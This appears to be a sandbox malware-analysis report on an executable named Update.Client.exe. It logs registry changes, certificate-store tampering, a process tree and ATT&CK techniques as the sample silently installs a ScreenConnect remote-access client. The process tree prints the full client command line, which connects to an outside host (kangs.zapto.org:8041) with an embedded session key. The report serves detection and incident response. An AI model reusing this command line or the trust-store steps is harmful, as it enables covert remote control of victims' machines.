Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..dows_4b14c015c87c1ad8_0018.0003_none_57acc9dd3ad = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe77	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\DigestValue = f2d3160f15cfd0989091249a61132a369e44dea4	dfsvc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\ComponentStore_RandomString = "XNRPXRH61JZNKCDCZKNW54GT"	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{60051b8f-4f12-400a-8e50-dd05ebd438d1}\NonCanonicalData	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.ClientService.exe_e781b1ee36f = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de1030a\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\identity = 53637265656e436f6e6e6563742e436c69656e74536572766963652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\SizeOfStronglyNamedComponent = 3b72080000000000	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\lock!0e000000d3e9570e18050000e008000000000000000000001 = 30303030303531382c30316462386636653661313337373461	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 680074007400700073003a002f002f0077006900730065002e00730063007200650065006e006e006500630074002e0063006f006d002f00420069006e002f00530063007200650065006e0043006f006e006e006500630074002e0043006c00690065006e0074002e006100700070006c00690063006100740069006f006e003f0065003d0053007500700070006f0072007400260079003d0047007500650073007400260068003d006b0061006e00670073002e007a006100700074006f002e006f0072006700260070003d003800300034003100260073003d00320031003000650034003900320061002d0033006200300033002d0034003900380065002d0039006100610064002d0035003200340064006300340035006500610035003600340026006b003d0042006700490041004100410043006b004100410042005300550030004500780041004100670041004100410045004100410051004200740038004700790064006d0053004c00750055004c0030007200770066003900610072004b0035004e005900440037007a00370057007200410042006d007100380055007a00680039007a004500330031005100390037004c006e0044005400780049005a005600770042004d004b0054005500730075004b006c004c005900700042006e00250032006200660036005800350066006400490062004400250032006600740076003500630025003200660076004c00660077006a00760062007700380045004a006200740073004900340030006c0066004d00250032006600790049005a00580066003400690047005100370032006e007a00300030003000700025003200660044006f0057004a00710030002500320066006f00740030007500390048006e004d0073003700740049005000250032006200330069004d0034006400490042002500320066004b007100460034006c006a00620046004f005400550049007a006f002500320062007900250032006600340075004e0071005000640055006a00550044004b006b006a00770049005300320052004d0052006e004400580079006d006b0032005500750076007700510058004200760054007800370041007a0038004e004e00330066003200590077004f00680071006f0072004700690025003200620035006600320052005900500051006c0033004600580063006c003700420051004d00320054006d0050006b005a0070003300320034006d004d006a0055004a006a004f0049004d005a0045007a005100720025003200660057004c006800360057002500320062004e00350046005000610042004b004f007500560033005a005a007a0034005400630066004b005600250032006200450077006e0079002500320062006a00520067005200440066003200250032006600370049003300430065007200580071003800490064007900470064004a0052006b003000500057003400480038006600560031006b0042006d00440070005400470071006800260072003d00260069003d0055006e007400690074006c0065006400250032003000530065007300730069006f006e000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\implication!scre..tion_25b0fbb6ef7eb094_0018.0003_0b6d = 68747470733a2f2f776973652e73637265656e6e6563742e636f6d2f42696e2f53637265656e436f6e6e6563742e436c69656e742e6170706c69636174696f6e2353637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..ient_4b14c015c87c1ad8_0018.0003_none_b47bcb1fe7759013\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\scre..ient_4b14c015c87c1ad8_0018.0003_none_e94a4fce0de = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\Transform = 01	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\PackageMetadata\{2ec93463-b0c3-45e1-8364-327e96aea856}_{3f471841-eef2-47d6-89c0-d028f03a4ad5}\scre..tion_25b0fbb6ef7eb09 = 53637265656e436f6e6e6563742e57696e646f7773436c69656e742e6170706c69636174696f6e2c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d323562306662623665663765623039342c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\Files	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\identity = 53637265656e436f6e6e6563742e436f72652c2056657273696f6e3d32342e332e372e393036372c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d344231344330313543383743314144382c2070726f636573736f724172636869746563747572653d6d73696c	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\Files	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\StateManager\Applications\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\lock!0e000000aeea570e98090000dc0700000000000000000000e = 30303030303939382c30316462386636653738643065316230	ScreenConnect.WindowsClient.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..tion_25b0fbb6ef7eb094_0018.0003_0b6dd0986e432635\pin!S_{3f471841-eef2-47d6-89c0-d028f03a4ad5}	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\SizeOfStronglyNamedComponent = c04f040000000000	dfsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..tion_25b0fbb6ef7eb094_0018.0003_0b6dd0986e432635\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92\Files\ScreenConnect.WindowsFileManager.exe_0e21f8 = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\DigestMethod = 01	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Components\scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06\DigestValue = 0323ee0e1faa4aa0e33fb6c6147290aa71637ebd	dfsvc.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000_Classes\Software\Microsoft\Windows\CurrentVersion\Deployment\SideBySide\2.0\Marks\scre..vice_4b14c015c87c1ad8_0018.0003_none_04888a4494511071\lock!0c000000d3e9570e18050000e008000000000000000000001 = 30303030303531382c30316462386636653661313337373461	dfsvc.exe

Modifies system certificate store 2 TTPs 4 IoCs

defense_evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579\Blob = 0300000001000000140000004c2272fba7a7380f55e2a424e9e624aee1c145792000000001000000640700003082076030820548a00302010202100b9360051bccf66642998998d5ba97ce300d06092a864886f70d01010b05003069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e67205253413430393620534841333834203230323120434131301e170d3232303831373030303030305a170d3235303831353233353935395a3065310b30090603550406130255533110300e06035504081307466c6f72696461310e300c0603550407130554616d706131193017060355040a1310436f6e6e656374776973652c204c4c433119301706035504031310436f6e6e656374776973652c204c4c4330820222300d06092a864886f70d01010105000382020f003082020a0282020100ec489826d08d2c6de21b3cd3676db1e0e50cb1ff75ff564e9741f9574aa3640aa8297294a05b4db68abd0760b6b05b50ce92ff42a4e390be776a43e9961c722f6b3a4d5c880bcc6a61b4026f9137d36b2b7e9b86055876b9fa860dbcb164fe7f4b5b9de4799ae4e02dc1f0bee01e5d032933a2827388f8db0b482e76c441b1bd50909ef2023e1fb62196c994ce052266b28cd89253e6416044133139764db5fc45702529536bf82c775f9ec81fa27dc409530325f40cdef95b81b9ce0d42791cee72e7bd1b36c257b52257c65a28970e457513989434bfc239e2992b193e1b3cc3f11ccdd1d26d4ec9845099ab913906a42069af999c0071169b45a2ea1aa666f1904e8acb05e1823a359a291fd46b4ef7aed5935bb6ab17ebf077210726930c90f01761d6544a94e8fa614cc41d817eec734b1c3d3afb7c58fb256f0c09edc1459bddbff9940ed1958570265d67af79a9b6a16affd70fc6328c9810d5dc186e39af6fbcad49a270f237e6bcd5de0bc014bc3179cd79776591340311a42ca94f33416c2e01b59bd1d71de86ace6716bc90b2d7695d155039aa08fbac19a4d93fb784230a20a485287a16355645fc09142c602d140fa046b7bfd75328184ff7bdf8f9e0d65e6201c8d242931047f59bd328ac353777ccefa60408887b84fc3631301463461a1d73c0b5cc74d6d82905ddf923bdbab027a311cc38d3fa16f639a50203010001a382020630820202301f0603551d230418301680146837e0ebb63bf85f1186fbfe617b088865f44e42301d0603551d0e04160414338ce10a6e06d9c6ed0bc6cae736cefb8188646a300e0603551d0f0101ff04040302078030130603551d25040c300a06082b060105050703033081b50603551d1f0481ad3081aa3053a051a04f864d687474703a2f2f63726c332e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c3053a051a04f864d687474703a2f2f63726c342e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e63726c303e0603551d20043730353033060667810c0104013029302706082b06010505070201161b687474703a2f2f7777772e64696769636572742e636f6d2f43505330819406082b06010505070101048187308184302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d305c06082b060105050730028650687474703a2f2f636163657274732e64696769636572742e636f6d2f4469676943657274547275737465644734436f64655369676e696e6752534134303936534841333834323032314341312e637274300c0603551d130101ff04023000300d06092a864886f70d01010b050003820201000ad79f00cf4984864c8981ecce8718aa875647f6a74608c968e16568c7aa9d711ed7341676038067f01330c91621b27a2a8894c4108c268162a31f13f9757a7d6bb3c6f19bf27c3a29896d712d85873627d827cd6471761444fabf1d31e903f791143c5b4ce5e7444aacba36d759aeba3069d195226755cbc675aa747f77596c53c96e083c45bba24479d6845eea9f2b28ba29b4dcf0bcf14aa4ce176c24e2c1b8fec3ee16e1c086db6fda97388859e83be65c03f701395b78b842c6dd1533ef642cca6fe50f6337d3f2dfedd8b28f2b28e0c98edd2151392e7cc75489f48859f1de14c81b306eb50eed7bb78be30eaada76767c4ca523a11eec5a2372d6122926ab1801a6a6778e9504791487ee47d4577154988802070f80fc535957658f954cd083546c5afb5a6567b6761275f5db20f70ab86feef94c7cfc65369d325121b69a82399bc7dc1962416f0f05cf1eee64d495a3527e464e2c68da0187093f97b673e43dddbcc067e00713f1565fcff8c3772d44b40a04e600644f22a990345f9a6b5b52963e82c81a0ce91d43a230f67b37d8debda40ea3d59d305e18adc1976516c12a8ba2bca24143b12e9527b4dca58872aa9b3a8c6ac563fc2dc02bf51be889516d35a4ba9d062417b5bdcc50ba945fae26b60d6aec03984798a6a21d3ff793cc0849e81ed55b8027411c50db776ae8feef2fdc2dafb04345261dedc054	Update.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C	Update.Client.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\7B0F360B775F76C94A12CA48445AA2D2A875701C\Blob = 0300000001000000140000007b0f360b775f76c94a12ca48445aa2d2a875701c2000000001000000b4060000308206b030820498a003020102021008ad40b260d29c4c9f5ecda9bd93aed9300d06092a864886f70d01010c05003062310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3121301f060355040313184469676943657274205472757374656420526f6f74204734301e170d3231303432393030303030305a170d3336303432383233353935395a3069310b300906035504061302555331173015060355040a130e44696769436572742c20496e632e3141303f060355040313384469676943657274205472757374656420473420436f6465205369676e696e6720525341343039362053484133383420323032312043413130820222300d06092a864886f70d01010105000382020f003082020a0282020100d5b42f42d028ad78b75dd539591bb18842f5338ceb3d819770c5bbc48526309fa48e68d85cf5eb342407e14b4fd37843f417d71edaf9d2d5671a524f0ea157fc8899c191cc81033e4d702464b38de2087d347d4c8057126b439a99f2c53b1ff2efcb475a13a64cb3012025f310d38bb2fb08f08ae09d09c065a7fa98804935873d5119e8902178452ea19f2ce118c21accc5ee93497042328ffbc6ea1cf3656891a24d4c8211485268de10bd14575de8181365c57fb24f852c48a4568435d6f92e9caa0015d137fe1a0694c27cc8ea1b32e6cac2f4a7a3030e74a5af39b6ab6012e3e8d6b9f731e1dcade418a0d8c1234747b3a10f6ea3ab6d9806831bb76a672dd2bd441a9210818fb03b09d7c79b325ac2ff6a60548b49c193ede1b45ce06feb26f98cd5b2f93810e6eace91f5bed3fb6f9361345cbc93452883362a66285fb073ce8b262506b283d45cf615194ced62e05e33f2e8e8ec0aa7b0032b91b23679bef7ad081e75a665ccbbe34850f377911afedb50a246c8615898f57c02163c8328ad3986ecd4b70d53d0f847e675308dec30937614a65b4b5d74614d3f129176debf58cb72102941f0d5c56d267668114113589adc262b01f4894d59db78cf814a3e40475fc98150738510232159608a6454c1cc211ae838197c661ccd78384530994fff634f4cbbaa0d0853417c583d47b3fab6ec8c320902cc6c3c0c56110203010001a38201593082015530120603551d130101ff040830060101ff020100301d0603551d0e041604146837e0ebb63bf85f1186fbfe617b088865f44e42301f0603551d23041830168014ecd7e382d2715d644cdf2e673fe7ba98ae1c0f4f300e0603551d0f0101ff04040302018630130603551d25040c300a06082b06010505070303307706082b06010505070101046b3069302406082b060105050730018618687474703a2f2f6f6373702e64696769636572742e636f6d304106082b060105050730028635687474703a2f2f636163657274732e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63727430430603551d1f043c303a3038a036a0348632687474703a2f2f63726c332e64696769636572742e636f6d2f446967694365727454727573746564526f6f7447342e63726c301c0603551d20041530133007060567810c01033008060667810c010401300d06092a864886f70d01010c050003820201003a23443d8d0876ee8fbc3a99d356e0021aa5f84834f32cb6e67466f79472b100caaf6c302713129e90449f4bfd9ea37c26d537bc3a5d486d95d53f49f427bb16814550fd9cbdb685e0767e3771cb22f75aaa90cff5936ae3eb20d1d55079889a8a8ac1b6bda148187edcd8801a111918cd61998156f6c9e376e7c4e41b5f43f83e94ff76393d9ed499cf4add28eb5f26a1955848d51afed7273ffd90d17686dd1cb0605cf30da8eee089a1bd39e1384eda6ebb369dfbe521535ac3cae96af1a23edb43b833c84f38149299f5ddce546dd95d02141f40337c03e295b2c221757352cb46d8c4341ca2a54b8dcd6f76372c853f1ace26e918be9007b0437f9588208270f0cccaeffd29355c1f893855f7378a8b09a1cb0be9311aff2e195c3971e1be9ca70a06d62667b792e64e5fde7aac49cf2ea47492addb3ca49c861fe3c1561b2b23ff8fb5ea887b706be6a0bafd3a3f45a6c4e81691528b41c048844b964dab4440e38df01528ceedf11856072a2f10c40c08643c338fae288c3ccb8f880b0dbf3bf4ce1e7b8eefb5ebcbb7f07713e6e7283fac12aea52f226c41f9825c1566cc6c0ecac586c3f626330c074ba0d307026a6a4030484b34a85120bbad1b8508e2590d6dca05502bea4a1c9ea5fda0a71f0674e7f2d65290fdaf854821f9573bb49c03ed8645f4b4616ebf68e2266086eac8afa9fe941de7631b3a8656784e	Update.Client.exe
Key created	\REGISTRY\USER\S-1-5-21-556327730-4249790997-552795783-1000\SOFTWARE\Microsoft\SystemCertificates\TrustedPublisher\Certificates\4C2272FBA7A7380F55E2A424E9E624AEE1C14579	Update.Client.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1548	ScreenConnect.ClientService.exe
1548	ScreenConnect.ClientService.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	dfsvc.exe
Token: SeDebugPrivilege	1548	ScreenConnect.ClientService.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 4840 wrote to memory of 1304	4840	Update.Client.exe	81
PID 4840 wrote to memory of 1304	4840	Update.Client.exe	81
PID 1304 wrote to memory of 2456	1304	dfsvc.exe	89
PID 1304 wrote to memory of 2456	1304	dfsvc.exe	89
PID 1304 wrote to memory of 2456	1304	dfsvc.exe	89
PID 2456 wrote to memory of 4956	2456	ScreenConnect.WindowsClient.exe	90
PID 2456 wrote to memory of 4956	2456	ScreenConnect.WindowsClient.exe	90
PID 2456 wrote to memory of 4956	2456	ScreenConnect.WindowsClient.exe	90
PID 1548 wrote to memory of 2108	1548	ScreenConnect.ClientService.exe	92
PID 1548 wrote to memory of 2108	1548	ScreenConnect.ClientService.exe	92
PID 1548 wrote to memory of 2108	1548	ScreenConnect.ClientService.exe	92

C:\Users\Admin\AppData\Local\Temp\Update.Client.exe
"C:\Users\Admin\AppData\Local\Temp\Update.Client.exe"
1⤵
- Manipulates Digital Signatures
- System Location Discovery: System Language Discovery
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4840
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"
  2⤵
  - Downloads MZ/PE file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1304
- - C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
    "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe"
    3⤵
    - Executes dropped EXE
    - Modifies registry class
    - Suspicious use of WriteProcessMemory
    PID:2456
  - - C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
      "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      PID:4956
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4840 -s 316
  2⤵
  - Program crash
  PID:4684

C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe
"C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.ClientService.exe" "?e=Support&y=Guest&h=kangs.zapto.org&p=8041&s=210e492a-3b03-498e-9aad-524dc45ea564&k=BgIAAACkAABSU0ExAAgAAAEAAQBt8GydmSLuUL0rwf9arK5NYD7z7WrABmq8Uzh9zE31Q97LnDTxIZVwBMKTUsuKlLYpBn%2bf6X5fdIbD%2ftv5c%2fvLfwjvbw8EJbtsI40lfM%2fyIZXf4iGQ72nz000p%2fDoWJq0%2fot0u9HnMs7tIP%2b3iM4dIB%2fKqF4ljbFOTUIzo%2by%2f4uNqPdUjUDKkjwIS2RMRnDXymk2UuvwQXBvTx7Az8NN3f2YwOhqorGi%2b5f2RYPQl3FXcl7BQM2TmPkZp324mMjUJjOIMZEzQr%2fWLh6W%2bN5FPaBKOuV3ZZz4TcfKV%2bEwny%2bjRgRDf2%2f7I3CerXq8IdyGdJRk0PW4H8fV1kBmDpTGqh&r=&i=Untitled%20Session" "1"
1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe
  "C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\scre..tion_25b0fbb6ef7eb094_0018.0003_23c5350198a4824d\ScreenConnect.WindowsClient.exe" "RunRole" "43a37923-dbde-4ddd-8c44-3d45dfa129c6" "User"
  2⤵
  - Drops file in System32 directory
  - Executes dropped EXE
  PID:2108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4840 -ip 4840
1⤵
PID:4916

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

SIP and Trust Provider Hijacking

T1553.003

Credential Access

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms

Path C:\Users\Admin\AppData\Local\Apps\2.0\84G24YVB.Z52\D42JM2PJ.ZM6\manifests\scre...exe_25b0fbb6ef7eb094_0018.0003_none_97cb907042c6ab92.cdf-ms
Size 24KB
SHA256 a541874ab32753332b15592f9d15150a51d016125163fb86a438316bb827fdd0
MD5 ad374a184d90a6d3a0863334686f64dc
SHA1 fb3f3177205815d039fc93fc0bbcefa6de299e4f
SHA512 8c858615e7d69b4d0ab8456502368d8b0c66014f712cf8bdbcc0a0e186aa85d1d3bfc304b6a1cf425caa2dbfc6b92540be5c34d57d5b0906f2100f0cb6d2569a
SSDEEP 384:GOrqMuDOGnph6cOX9jX9R/QPIBM7YOuofbMH:GnHnn6cOX9jX9R/QPI+0ZofbMH
MD5 SHA1 SHA512 SSDEEP

Submit Download

scre..core_4b14c015c87c1ad8_0018.0003_none_5334f1fbfe91ad06.cdf-ms

